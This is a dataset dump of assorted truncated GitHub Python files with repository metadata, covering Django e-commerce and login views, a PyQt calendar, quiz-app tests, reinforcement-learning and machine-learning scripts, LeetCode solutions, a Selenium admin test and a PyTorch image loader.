dcf3600aeeaf35be117fdbd9a43fbdc5eabfca39 | 55ddcae82338890a7101b2ff6db0856463702314 | /perfectcushion/shop/views.py | a4f89c9298be6f38dcdf99f21fba7c03c15909e5 | [] | no_license | rixinhaha/DjangoEcommerce | d31d6e8c7a4a40ba3f32d0e27ef203c59475c1dc | 0e3a188e8276bbfb63901747f553dd2ab483c284 | refs/heads/master | 2020-08-03T21:18:14.750498 | 2019-09-30T15:30:09 | 2019-09-30T15:30:09 | 211,887,708 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,652 | py | from django.shortcuts import render, get_object_or_404, redirect
from django.http import HttpResponse
from .models import Category,Product
from django.core.paginator import Paginator, EmptyPage, InvalidPage
from django.contrib.auth.models import Group, User
from .forms import SignUpForm
from django.contrib.auth.forms i... | [
"rixinhaha@gmail.com"
] | rixinhaha@gmail.com |
f7e66124cfb611cfdde05053e6b48a4ce7dff2fd | efd30b0ba0fd4d8c9e4ababe8113ba5be08319f2 | /parkings/migrations/0015_fill_normalized_reg_nums.py | 9f8b7a05457ba264cae61e627952374292b9a03d | [
"MIT"
] | permissive | City-of-Helsinki/parkkihubi | 3f559ef047592c5321b69c52474fc23a5eae0603 | 24751065d6e6cd68b89cd2a4358d51bdfc77cae6 | refs/heads/master | 2023-07-20T12:52:43.278380 | 2023-05-10T07:46:38 | 2023-05-10T07:46:38 | 75,084,288 | 14 | 15 | MIT | 2023-07-20T12:52:08 | 2016-11-29T13:32:13 | Python | UTF-8 | Python | false | false | 838 | py | from __future__ import unicode_literals
from django.db import migrations
from django.db.models import Q
from ..models import Parking
def fill_normalized_reg_nums(apps, schema_editor):
parking_model = apps.get_model('parkings', 'Parking')
parkings_to_process = parking_model.objects.filter(
Q(normaliz... | [
"tuomas.suutari@anders.fi"
] | tuomas.suutari@anders.fi |
feff0ed5afe6dbddcc2ff0f0b0c63b626abb8fe9 | 55bf44425b2c904e915ac8ac365dc293c1346b12 | /Personal Projects/Calendar/cal.py | 26eaa1876c0647a4e56a4b9a7715b18fdc9a0284 | [] | no_license | VincentiSean/Python-Practice | e88e73e6701a895004cf361595697ded9b9f362b | 7b3ba51ae8ecfde5caea7895b6dea425f0cbb94c | refs/heads/master | 2022-03-11T01:41:17.379799 | 2019-10-30T16:44:12 | 2019-10-30T16:44:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,834 | py | import sys
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
import calendar
import datetime
weekdays = ["M", "Tu", "W", "Th", "F", "Sa", "Su"]
currentMonth = 0
currentYear = 0
class Clndr(QMainWindow):
def __init__(self):
QMainWindow.__init__(self)
... | [
"noreply@github.com"
] | noreply@github.com |
4e9f69d87e835061a181778d25e5810c1fdb12f4 | dccf1fea8d62764b8c51259671f9b61d36196d41 | /quiz/tests/test_views.py | 3206b640c985d6489348d1011b7e9a68160df405 | [
"MIT"
] | permissive | Palombredun/django_quiz | e4594852c2709a9c6c58a96cc210f3f3dc1a282b | 1565d251d54dfb54fdee83096b560876833275a2 | refs/heads/master | 2021-07-08T23:11:23.157677 | 2021-01-13T14:26:31 | 2021-01-13T14:26:31 | 224,863,683 | 0 | 0 | null | 2019-11-29T13:53:50 | 2019-11-29T13:53:50 | null | UTF-8 | Python | false | false | 3,013 | py | import datetime
import pytest
from pytest_django.asserts import assertTemplateUsed
from django.contrib.auth.models import User
from quiz.models import Category, SubCategory, Quiz, Statistic, Question, Grade
### FIXTURE ###
@pytest.fixture
def user_A(db):
return User.objects.create_user(
username="A",... | [
"baptiste.name"
] | baptiste.name |
3e78cd5beb2f40b2d302957a40cda8debb722657 | 84f8696f6f4c9f785615211fe1a746c3ac5b6996 | /fish_proc/utils/demix.py | aab6d2425221e6340e2ed4d005b33857aa250edf | [] | no_license | zqwei/fish_processing | 48a5494b92a2568bd6393685adfa465a6fe05cdb | 53251f4dc3698285873f7c58e4dd4cfaf030375a | refs/heads/master | 2021-09-21T06:51:35.874171 | 2021-08-16T19:39:34 | 2021-08-16T19:39:34 | 117,905,371 | 2 | 1 | null | 2021-08-16T19:39:34 | 2018-01-17T23:30:06 | Python | UTF-8 | Python | false | false | 9,382 | py | '''
A set of posthoc processing from demix algorithm
------------------------
Ziqiang Wei @ 2018
weiz@janelia.hhmi.org
'''
from ..demix.superpixel_analysis import *
import numpy as np
def pos_sig_correction(mov, axis_):
return mov - (mov).min(axis=axis_, keepdims=True)
def recompute_C_matrix_sparse(sig, A):
... | [
"weiz@janelia.hhmi.org"
] | weiz@janelia.hhmi.org |
43effd84e91ca0c4c88ea8cc978acb294c5414fe | aaa9a0b1d11557c8bbe5d7ebfb55267235a61594 | /model.py | 2f4fc7c716e3b1741628a6c32b5e20866e1fa46c | [] | no_license | Vamsitej/Zomato-Restaurant-Rating-Prediction-Flask---Swagger-and-Deployment-using-Heroku | f4111ae213b14de92d17f2bb03b86ee3dc3e3241 | c73249a92c3aae85b45d4bac24d30cccd38d51f2 | refs/heads/main | 2023-05-07T15:47:18.454720 | 2021-05-16T13:10:25 | 2021-05-16T13:10:25 | 367,309,352 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 854 | py |
import pandas as pd
import numpy as np
from sklearn.ensemble import ExtraTreesRegressor
from sklearn.model_selection import train_test_split
import warnings
warnings.filterwarnings('ignore')
df=pd.read_csv('zomato_df.csv')
df.drop('Unnamed: 0',axis=1,inplace=True)
print(df.isna().sum())
x=df.drop('rate',axis=1)
y=... | [
"gadivemulavamsitej007@gmail.com"
] | gadivemulavamsitej007@gmail.com |
f18905a92d46043feb41644ae7778a517445ada8 | cdfaf1c0cee3071d3338488ff522a0fb4033599a | /mysite/settings.py | b671bbee005689179e44911bba886ebbe8ee2c2d | [] | no_license | PashaLisovchenko/mysite | bf9e84c7812da7b89755d3006750635a07746a18 | 01ec7c792607b7e31d91fa85853249680924fb44 | refs/heads/master | 2021-09-05T01:31:03.839726 | 2018-01-23T12:34:55 | 2018-01-23T12:34:55 | 107,396,267 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,549 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.11.6.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os
... | [
"lisovchenko.pasha@gmail.com"
] | lisovchenko.pasha@gmail.com |
fb58449531e8d4d38e17ea8628b285f48a6c86ad | 321b4ed83b6874eeb512027eaa0b17b0daf3c289 | /153/153.find-minimum-in-rotated-sorted-array.250607228.Accepted.leetcode.py | 86c48a645e1a8abbc02eb311cb58e81777442548 | [] | no_license | huangyingw/submissions | 7a610613bdb03f1223cdec5f6ccc4391149ca618 | bfac1238ecef8b03e54842b852f6fec111abedfa | refs/heads/master | 2023-07-25T09:56:46.814504 | 2023-07-16T07:38:36 | 2023-07-16T07:38:36 | 143,352,065 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 378 | py | class Solution(object):
def findMin(self, nums):
if nums[0] <= nums[-1]:
return nums[0]
left, right = 0, len(nums) - 1
while left + 1 < right:
mid = (left + right) // 2
if nums[left] >= nums[mid]:
right = mid
else:
... | [
"huangyingw@gmail.com"
] | huangyingw@gmail.com |
3eb0e9fa1f61b75f5ea76aa43ee046b312b36491 | 107a71aa43cdb5131ff9c40f792c13467bfe1ccd | /login_and_registration_app/views.py | 1e6810d8d4970c91b57935aa042e048a865652d4 | [] | no_license | Shifty-eyed-llama/time_keeper | 84fb43b9886619e6e9ac1fb8b531a73c0a35cc05 | e27df4250728ff85ebe4531d8701c0f9c14c8c75 | refs/heads/master | 2022-11-23T03:52:31.679136 | 2020-07-31T22:01:33 | 2020-07-31T22:01:33 | 283,028,969 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,977 | py | from django.shortcuts import render, redirect, HttpResponse
from django.contrib import messages
from .models import *
import bcrypt
from django.views.decorators.csrf import csrf_exempt
from django.http import HttpResponse, HttpResponseRedirect
# Create your views here.
def index(request):
return render(request, '... | [
"emtbirch@gmail.com"
] | emtbirch@gmail.com |
5a8ca51af55cb939c4bc1b5781854fd3bd43364d | 9d4477d7f56fa7dda9156fc5eee5ab117213c0a8 | /django_novel/urls.py | a5f29ecabe545b24260da61b1fa42803d30c4261 | [] | no_license | liuyuan119/django_novel | 8aa59ea8de8233331bfa05241999485f2dbef51d | d1555d0a17e6e84062948343f535f1bba1971114 | refs/heads/master | 2020-03-18T23:03:10.602765 | 2018-05-30T03:08:57 | 2018-05-30T03:08:57 | 135,380,442 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 965 | py | """p_django_tmall URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Clas... | [
"1120793140@qq.com"
] | 1120793140@qq.com |
6a77109c6aa14b0e717e99865a97ceffd8cda1c1 | 09e5ce9673590f7ca27c480da605199a6d054a63 | /modules/highscore.py | 3daff9734d8b6c7a31ec3c42d9c75b6f9f816fd8 | [] | no_license | KirillMysnik/PySnake | 781d7767cbb404033b608d15427e9e7996cc71d6 | 3fe1edc20248f20029413a31d88f673411374faf | refs/heads/master | 2021-01-13T09:46:00.622694 | 2016-09-28T14:52:14 | 2016-09-28T14:52:14 | 69,473,624 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,698 | py | from modules.delays import Delay
from modules.gui import TextLabel
from internal_events import InternalEvent
LABEL_COLOR = (255, 255, 255)
HIGHSCORE_LABEL_CAPTION = "score: {score}"
HIGHSCORE_LABEL_X = 64
HIGHSCORE_LABEL_Y = 64
TIME_LABEL_CAPTION = "elapsed: {seconds}s"
TIME_LABEL_X = 64
TIME_LABEL_Y = 100
app_ = No... | [
"kirill@mysnik.com"
] | kirill@mysnik.com |
a3c84c720bb0bc8a3ec2921c600f975aaed6f1b8 | 20b4be7df5efeb8019356659c5d054f29f450aa1 | /tools/indicators/build_indicators.py | 16a8d1caeb8619580fb4836cc6c8c4cbb50269bb | [
"Apache-2.0"
] | permissive | kumars99/TradzQAI | 75c4138e30796573d67a5f08d9674c1488feb8e4 | 1551321642b6749d9cf26caf2e822051a105b1a5 | refs/heads/master | 2020-03-29T20:14:45.562143 | 2018-09-25T16:07:21 | 2018-09-25T16:07:21 | 150,302,554 | 1 | 0 | null | 2018-09-25T17:17:54 | 2018-09-25T17:17:54 | null | UTF-8 | Python | false | false | 3,553 | py | import pandas as pd
from tools.indicators.exponential_moving_average import exponential_moving_average as ema
from tools.indicators.volatility import volatility as vol
from tools.indicators.stochastic import percent_k as K
from tools.indicators.stochastic import percent_d as D
from tools.indicators.relative_strength_i... | [
"awakeproduction@hotmail.fr"
] | awakeproduction@hotmail.fr |
7f878a0b90f3b3d063d1b8898979bfebb591db65 | 6988ebf00a55f005a9a74922183550b0ff893d6d | /my_torchvision/datasets/mnist.py | 7b727e5edc4bf2281c77221aed8d37392009042e | [
"MIT"
] | permissive | ptklx/segmentation_models.pytorch | 8eb4467cee7f56d1bd4c7d9196cdc7aa6640bf62 | 16c68a7e6bff9644b97f340d67912c4785219818 | refs/heads/master | 2022-11-06T21:21:05.684091 | 2020-06-24T01:40:41 | 2020-06-24T01:40:41 | 274,543,431 | 0 | 0 | MIT | 2020-06-24T01:12:16 | 2020-06-24T01:12:15 | null | UTF-8 | Python | false | false | 21,298 | py | from .vision import VisionDataset
import warnings
from PIL import Image
import os
import os.path
import numpy as np
import torch
import codecs
import string
from .utils import download_url, download_and_extract_archive, extract_archive, \
verify_str_arg
class MNIST(VisionDataset):
"""`MNIST <htt... | [
"noreply@github.com"
] | noreply@github.com |
6c351742ccd9c3c58c9a7048ff2f0434e916f76c | 04ae1836b9bc9d73d244f91b8f7fbf1bbc58ff29 | /019/Solution.py | 77b23c403e0c7749e27a5927c92d8dbf83f175dd | [] | no_license | zhangruochi/leetcode | 6f739fde222c298bae1c68236d980bd29c33b1c6 | cefa2f08667de4d2973274de3ff29a31a7d25eda | refs/heads/master | 2022-07-16T23:40:20.458105 | 2022-06-02T18:25:35 | 2022-06-02T18:25:35 | 78,989,941 | 14 | 6 | null | null | null | null | UTF-8 | Python | false | false | 2,040 | py | """
Given a linked list, remove the n-th node from the end of list and return its head.
Example:
Given linked list: 1->2->3->4->5, and n = 2.
After removing the second node from the end, the linked list becomes 1->2->3->5.
Note:
Given n will always be valid.
Follow up:
Could you do this in one pass?
"""
# Defini... | [
"zrc720@gmail.com"
] | zrc720@gmail.com |
f06e528e1260ebc5a1753691b630761e596736d9 | 0f764a53f94ba7ad04094323a770237f2f2f1d2e | /api/serializers.py | 1464af362f0ad0255df0ef2e96befa35837f96e8 | [] | no_license | prafullkumar41/ProductApi | c302d60f526e2cb5e1cbb04bed19c88ce220a945 | 873ce2fc52cb8f72109ab857b1b90c2406147a0d | refs/heads/master | 2022-12-16T22:39:23.790371 | 2020-09-12T12:18:10 | 2020-09-12T12:18:10 | 294,936,100 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 851 | py | from rest_framework import serializers
from .models import Movie, Rating
from django.contrib.auth.models import User
from rest_framework.authtoken.models import Token
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ('id' ,'username', 'password')
extra_k... | [
"prafullkumar41@gmail.com"
] | prafullkumar41@gmail.com |
4a027ec74eb4d35e5ab9f5de6328565278802070 | 4e77e00512d56ed7a66be0a6bb9eac428bef3a24 | /day16.py | 0bc37349d875da393d2b989dfc00a365d2452f30 | [] | no_license | russford/advent2020 | 54b38c3280a4e7fc7536dc3f8b8915cfba90daf3 | 585f1f07446130c60616aca61e5a87df01ef3689 | refs/heads/master | 2023-02-20T07:32:59.818544 | 2021-01-21T17:14:08 | 2021-01-21T17:14:08 | 317,603,139 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,257 | py | import re
def part1 (rules, my_ticket, tickets):
numbers = list(map(int, re.findall("\d+", rules)))
brackets = list(zip(numbers[::2], numbers[1::2]))
invalids = []
for v in map(int, re.findall("\d+", tickets)):
if not any ([low <= v <= high for low, high in brackets]):
invalids.appe... | [
"russford@gmail.com"
] | russford@gmail.com |
1a89ac9ba7ddc69c93081fde340c991f34163b5b | cbe7f16751b5dd258cff6c1edb6c07f8b91529dd | /main.py | 025dc6265394fa9b4c7e99ca1a67a9692684e84a | [] | no_license | ViktoryLoktionova/Bidirectional_RNN | 4572f52d78388983234c6c6fe76955126dac8e5d | 22314b7cf799bd53375e9711fed2932f8749f111 | refs/heads/master | 2023-06-30T23:47:18.924718 | 2021-08-03T14:24:23 | 2021-08-03T14:24:23 | 392,339,725 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,776 | py | import numpy as np
import re
from tensorflow.keras.layers import Dense, SimpleRNN, Input
from tensorflow.keras.models import Sequential
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.preprocessing.text import Tokenizer
import numpy as np
import matplotlib.pyplot as plt
from tensorflow.keras.layer... | [
"loktionova_viktory@mail.ru"
] | loktionova_viktory@mail.ru |
5f2ca36e61acddfdb4039e5b07fd900e04f868a8 | 332ba026303202f4aaf61dd88be55bd621e3c255 | /script_inspect_ckpt.py | 8877013ce9d46e67f459cda444892ff736ee566d | [
"Apache-2.0"
] | permissive | Li-Ming-Fan/pointer-generator-refactored | ea1d07cb0cca6c215524af057a80f32f51d2e4f2 | e4b2b62a791baf8373ce583850319f552f2f94e0 | refs/heads/master | 2020-07-21T08:39:45.601255 | 2020-01-06T14:42:17 | 2020-01-06T14:42:17 | 206,800,113 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,485 | py | """
Simple script that checks if a checkpoint is corrupted with any inf/NaN values.
Run like this:
python inspect_checkpoint.py model.12345
"""
import tensorflow as tf
import sys
import numpy as np
if __name__ == '__main__':
"""
"""
if len(sys.argv) != 2:
raise Exception... | [
"li_m_f@163.com"
] | li_m_f@163.com |
cb71b7819ba6ef1dbdd577e63c2dd7dca07bdb3b | dbf770eef8233f7da1850309cc4b7145bd8d67f1 | /PYTHON-ADVANCED-SEPT-2020/PYTHON OOP/09_DECORATORS/LAB/passing_args.py | 7601d8b2620bd3eaac6ce6d8c978e2ae2f3870b9 | [] | no_license | vasil-panoff/PYTHON-ADVANCED-SEPT-2020_repo | 610a37d1681ce9d0aa86628523620e1571b438dd | c63434f91de42d2f1241b6d76a96c7c63711c1d0 | refs/heads/master | 2023-03-22T07:44:53.620221 | 2021-03-15T20:42:14 | 2021-03-15T20:42:14 | 309,829,800 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 237 | py | def repeat(n):
def decorator(func):
def wrapper(*args, **kwargs):
for _ in range(n):
func(*args, **kwargs)
return wrapper
return decorator
@repeat(4)
def say_hi():
print("Hello")
| [
"73856636+vasil-panoff@users.noreply.github.com"
] | 73856636+vasil-panoff@users.noreply.github.com |
90e3657df6220725bd0d4318738ca8eefadda3b0 | c31fd5ff52a0cf5bdf85a631914dfbafbfd68bb9 | /ppo_lstm2.py | c69418adadcf8bd0b9ef3243688fe2d3bdb79ef1 | [] | no_license | ziaoang/RlTest | 4307b3d7f58dd6f81de1f7cd17298c517c274564 | 4d81e69b27023d008ca081063c7a154fb5b2451c | refs/heads/main | 2023-08-05T01:32:14.288041 | 2021-10-09T02:58:32 | 2021-10-09T02:58:32 | 403,208,412 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 10,015 | py | import numpy as np
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
import gym
import scipy.signal
import time
def discounted_cumulative_sums(x, discount):
# Discounted cumulative sums of vectors for computing rewards-to-go and advantage estimates
return scipy.signal.lf... | [
"lcn6767@corp.netease.com"
] | lcn6767@corp.netease.com |
0ff0a0f62d90db80fcdadf06d3684dbbad7a0af1 | bae76a8e1d2fdefdd660f44b770ddbdb8184d682 | /les_1/test1.py | a047e6ff503f70e1f25cad5ff399132ebd7dd1a3 | [] | no_license | a-chernyshova/selenium_test_practice | 0024f32d1022bfb6f1fbdb87ae99b907a6dffa7c | 927b99e9a43f6e453348f9cd1db67d9e59b003bf | refs/heads/master | 2021-06-18T07:52:10.098499 | 2017-07-07T20:02:07 | 2017-07-07T20:02:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,040 | py | import pytest
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
URL = 'http://localhost:8080/litecart/admin'
LOGIN = 'admin'
PASSWORD = 'admin'
def login(url, login, password):
global browser
browser = web... | [
"stasya.aska@gmail.com"
] | stasya.aska@gmail.com |
9275c08651f55414d12b7fc3bebe3109ef994156 | 1e505f77fa2509e79716b21088ed3a2a57cda73c | /logger.py | 3908636ff5a76c7f73c0702d9ff993d74da7d2dc | [] | no_license | sapph1re/tri-arb | 523cc44ad0760c200ac48cc8487de2539e612b8d | df34e06af0f0c4264b32b022a9509bf1b92348df | refs/heads/master | 2022-10-23T15:51:38.812783 | 2020-02-22T04:30:43 | 2020-02-22T04:30:43 | 131,799,758 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,096 | py | import logging
# from logging.handlers import RotatingFileHandler
# log_formatter_debug = logging.Formatter(
# '%(asctime)s\t%(levelname)s\t[%(filename)s:%(lineno)s <> '
# '%(funcName)s() <> %(threadName)s]\n%(message)s\n'
# )
# handler_debug = RotatingFileHandler('debug.log', mode='a', maxBytes=10000000)
# h... | [
"dev.romanv@gmail.com"
] | dev.romanv@gmail.com |
b5837f8a5f00ad64d1fc1222080e6c5bfe305010 | 185b63f708319f7fcb6a3ef3ad7036d4a2ee169d | /l9-example-02a.py | 14c96dc7b76f51155953164abab5a00e5114f928 | [] | no_license | yipeichan/Numerical_Ananlysis_and_Programming | 222cdcaf62281ad0c3348b304c6f3addb53e2353 | 13175dbc3e30a376f1c5c94f1b54df6fad3f0aa6 | refs/heads/master | 2020-04-02T03:48:29.523292 | 2018-10-21T08:04:24 | 2018-10-21T08:04:24 | 153,985,352 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 664 | py | import numpy as np
import timeit
def det_rec(A):
if A.shape==(2,2): return A[0,0]*A[1,1]-A[0,1]*A[1,0]
det = 0.
reduced = np.zeros((A.shape[0]-1,A.shape[1]-1))
for i in range(A.shape[1]):
reduced[:,:i] = A[1:,:i]
reduced[:,i:] = A[1:,i+1:]
r = A[0,i]*det_rec(reduced)
... | [
"noreply@github.com"
] | noreply@github.com |
dbe2f2833ba59cdba2a81d016967678ea2a4dc25 | 14b0395a375b443377922338b1a50c034d787617 | /main.py | e67becf45113de93bccd6e88904fa763ee360bda | [] | no_license | fucusy/kaggle-state-farm-distracted-driver-detection | 43d4d798069b10b577fad04fc866959d8a9f9823 | 81631f1d1c58767398501cc801a7d93b27e08682 | refs/heads/master | 2021-01-14T13:37:02.493061 | 2016-07-13T07:50:17 | 2016-07-13T07:50:34 | 58,187,723 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,643 | py | __author__ = 'fucus'
import os
from tool.keras_tool import load_data
import logging
import sys
import datetime
import config
from config import Project
from feature.utility import load_train_validation_feature
from feature.utility import load_test_feature
from tool.file import generate_result_file
from feature.utility ... | [
"fucus@qq.com"
] | fucus@qq.com |
d1305985f70a0546282da08ce99ff4e125cbf4f5 | 4d7e7dd28bb3401046c958f6152fccc4474b01f6 | /src/NewsRecommendSys/views.py | 5e8d4960ce51987cb0dd750797e90d23d7750f32 | [] | no_license | huazhz/WebPortalCollection | a8bc47933270a09196b268b7de287ce21f1fc322 | c1caa5ab8b010e92da105e5b0513ac2bb7fcfdc8 | refs/heads/master | 2020-04-08T02:34:55.581878 | 2017-12-12T03:56:55 | 2017-12-12T03:56:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,415 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.http import HttpResponse
import os
import json
import re
import time
import traceback
from NewsDB.models import News
from UserDB.views import check_user_cookie
from UserDB.models import *
from NewsRecommendSys.models import *
# 路径准备
BASE_DIR... | [
"meng277277@gmail.com"
] | meng277277@gmail.com |
bf3f7b583721b3ecf7026781aeb8fe79e19dd324 | 203edf2aa1577cc3af7e7603af787023391bdc0f | /kata/sort/python/insertion_sort.py | 6b64f3078fb63e21398381bb765e9b1a13ba38bf | [] | no_license | 0x1001/Sandbox | 6776ee5a3d46467f070f117889b2b7fce15ffcd6 | 61c8592fbdde229921779055601eeaace73cdb8e | refs/heads/master | 2021-03-12T21:58:35.913975 | 2018-10-19T23:46:46 | 2018-10-19T23:46:46 | 16,882,836 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,261 | py | import unittest
def insertion_sort(list_to_sort):
for idx_range in range(len(list_to_sort)):
for idx in range(idx_range,0,-1):
if list_to_sort[idx - 1] > list_to_sort[idx]:
list_to_sort[idx - 1],list_to_sort[idx] = list_to_sort[idx],list_to_sort[idx - 1]
return list_to_sort... | [
"damian.nowok@gmail.com"
] | damian.nowok@gmail.com |
38c8bf880e63be5f53e704346d9e501f8a47d640 | eb6b322096aee65c8d29debdc66d7334928be1c8 | /check_palindrome.py | 43eeec962ec82db4926410b61941d90fb495d2fe | [] | no_license | Hrishikeshbele/Competitive-Programming_Python | 821128d7317313e23704ad5d9d5c8a4a58e420da | 9bfe9ff084fc10010ba438e1a41c8ea83736366b | refs/heads/master | 2021-06-29T02:50:56.959332 | 2020-12-22T06:34:29 | 2020-12-22T06:34:29 | 189,185,272 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 465 | py | '''
check if given string is pelindrome.
solution idea: iteratively check if last letter and first letter of string are equal if not then return false if yes check of substring
excluding first and last elm and basic condition is if len of str is less than 2 then it should be pelindrome so return true
'''
def ispalindr... | [
"noreply@github.com"
] | noreply@github.com |
7f2113c67ad293e9a2de887c178963ddd9dadebe | 6f2d672f62add5a5a41ab6560804b856671813ce | /mud/core/signals.py | ab159a1dc167c05a627e44484b6016f4930c6ea5 | [] | no_license | rabbitmq/flying-squirrel-demos | 490d85378ae5e77d464a98cc4b011861604007a5 | d3a3060aaab433d11e225bda3d3e79125753ee7e | refs/heads/master | 2023-06-24T22:25:41.851835 | 2015-02-18T14:23:11 | 2015-02-18T14:23:11 | 1,929,367 | 3 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | import logging
log = logging.getLogger(__name__)
import datetime
import django.dispatch
from . import models
from . import trigger
tick_event = django.dispatch.Signal(providing_args=["curr_time"])
def cleanup_connections(sender, curr_time=None, **kwargs):
t0 = curr_time - datetime.timedelta(seconds = 60)
f... | [
"marek@rabbitmq.com"
] | marek@rabbitmq.com |
a027e6796b5efd74e8c545ff703576337f976659 | 43d6effb34eaeedcba72b74267699e338874cde4 | /jiayj267/DS.py | eccfea4531c335cf23792dfbc61d140868fb98e7 | [] | no_license | yaxiaojie/BioData | 7d6628db60adb320980201ea079d9d8fe15749bd | c9a5942298f6f9ee448a204c356da9afd8119d8a | refs/heads/master | 2020-05-21T03:53:39.026356 | 2019-05-10T01:53:10 | 2019-05-10T01:53:10 | 185,899,633 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 823 | py | """
Author:Xian Tan
Aim:Storage dictionary type data to Biodata database(for testing)
data:18/1/23
"""
import pymongo
from pymongo import MongoClient
class DataStorage:
def __init__(self, name):
self.name = name
self.path = self._login()
def _login(self):
client = p... | [
"noreply@github.com"
] | noreply@github.com |
ba2562d3ccd2489e74728d05752cdb0c596ab32e | f3182e281435d59a23055bb74594a85daaa957c8 | /venv/module_test01.py | 6f36a42915587cc987080f5ae2f59b9db3d60e81 | [] | no_license | 39004404/pyProject | b42aa9998b0383a9530ba1513d90db33e341a2bd | 972a7074456cac6d0728f626390ab54313399887 | refs/heads/master | 2020-04-11T07:08:14.938126 | 2018-12-13T07:52:31 | 2018-12-13T07:52:31 | 161,602,301 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 126 | py | # -*- encoding:utf-8 -*-
import module_name
print("This is module_test01.py")
print(type(module_name))
print(module_name)
| [
"xiezuom@126.com"
] | xiezuom@126.com |
fb785b48dbc3883bf3983cf9a771dd2f9a6bb328 | 4a44d785d19f23033ec89775c8219a2f8275a4dd | /cride/circles/admin.py | a7031ba8c50be95f1f6624a720fbf3187af1f7ce | [
"MIT"
] | permissive | mdark1001/crideApiRest | d17989dfb650eb799c44c57d87f3e0cec8fc647b | 228efec90d7f1ad8a6766b5a8085dd6bbf49fc8a | refs/heads/main | 2023-04-09T23:27:09.931730 | 2021-04-19T13:46:44 | 2021-04-19T13:46:44 | 357,706,873 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 312 | py | from django.contrib import admin
# Register your models here.
from .models import Circle
@admin.register(Circle)
class CircleAdmin(admin.ModelAdmin):
list_display = ['name', 'is_verified', 'is_public', 'rides_taken', 'rides_offered']
list_filter = ['created', 'is_verified', 'is_public','is_limited']
| [
"miguel.cabrera.app@gmail.com"
] | miguel.cabrera.app@gmail.com |
c3d4e78417f43c5eea54511c6315f097dedbc64f | 5b8829f32459b711c41762200a931195dac7e2ea | /2Año/Complementos de Matematica 1/TPFinal/tp.py | f5af90bc21add0f76f631d5013a582f7c9c4125d | [] | no_license | alejosilvalau/cs-ruffa97 | ee19df9ccef60c40f8ce24d9c35a314ee384285a | d51c884d84a1e63e33e9d92e6c2c5732b5bf16a7 | refs/heads/master | 2023-08-16T15:08:12.126843 | 2020-08-05T04:09:01 | 2020-08-05T04:09:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,300 | py | #! /usr/bin/python
# 6ta Practica Laboratorio
# Complementos Matematicos I
# Ejemplo parseo argumentos
import argparse
import matplotlib.pyplot as plt
import numpy as np
import math
import random
import time
from collections import defaultdict
'''
Parametros de layout:
grafo: tupla que representa nuestro gr... | [
"noreply@github.com"
] | noreply@github.com |
8011342288f7791808e51d9093256729947985ed | 91a6a9891312142e172c44d13cc5f3ea14b76bd1 | /loader/IDDALoaderNew.py | ac2343501de511d06260a47900a1edac77db2b91 | [] | no_license | akhilgakhar/tSNE_ResNet | b79cca9696121c1f28fd7b6c867044c59faf7a34 | eb0ddea4d77297d41a3ba1d39b5b1067cf99827b | refs/heads/master | 2022-09-07T08:29:44.893538 | 2020-06-01T10:36:44 | 2020-06-01T10:36:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,342 | py | import os
import os.path as osp
import numpy as np
import random
import matplotlib.pyplot as plt
import collections
import torch
import torchvision
from torch.utils import data
from PIL import Image, ImageFile
from .augmentations import *
import imageio
ImageFile.LOAD_TRUNCATED_IMAGES = True
IDDA_DEFAULT_LABEL = 0
cl... | [
"taveraantonio@icloud.com"
] | taveraantonio@icloud.com |
996a203774c48220ada4a1b9bfb99c0225c52bba | abff9601abdd9a326339a58a1d8f08db9d091963 | /hello.py | f4a194b1573b39e7347474c6d3043df9d8d76ac2 | [] | no_license | mvgolom/test-flask | a9d6cdeee9d149952c367ee5aa2cc7b95f351fc0 | 8f789f5340c8374c1ee11b312c7098dc88c63fbb | refs/heads/master | 2021-01-21T20:42:33.955116 | 2017-05-24T09:13:44 | 2017-05-24T09:13:44 | 92,269,128 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 149 | py | from flask import Flask
app = Flask(__name__)
#golom
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run() | [
"viniciusgolom@gmail.com"
] | viniciusgolom@gmail.com |
